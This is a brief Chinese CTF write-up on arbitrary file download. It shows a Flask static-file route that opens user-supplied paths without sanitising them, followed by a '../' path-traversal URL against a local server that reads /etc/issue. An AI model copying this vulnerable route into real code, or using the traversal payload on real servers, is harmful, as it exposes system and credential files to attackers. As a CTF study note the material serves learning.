CTF web题总结--任意文件下载

代码：

@main.route('/static/')
def handle_static_file(file):
    if file.split('.')[-1] in ['py','db']:
        #return self.root_path
        return file
    if os.path.isdir('static/{}'.format(file)):
        return abort(403)
    try:
        filename=os.path.join(app.instance_path,file)
        with open(filename) as f:
            data = f.read()
        return data
    except Exception as e:
        logging.error(e)
        return abort(404)

任意文件下载：

http://127.0.0.1:8000/static/../../../../../../../../../../../etc/issue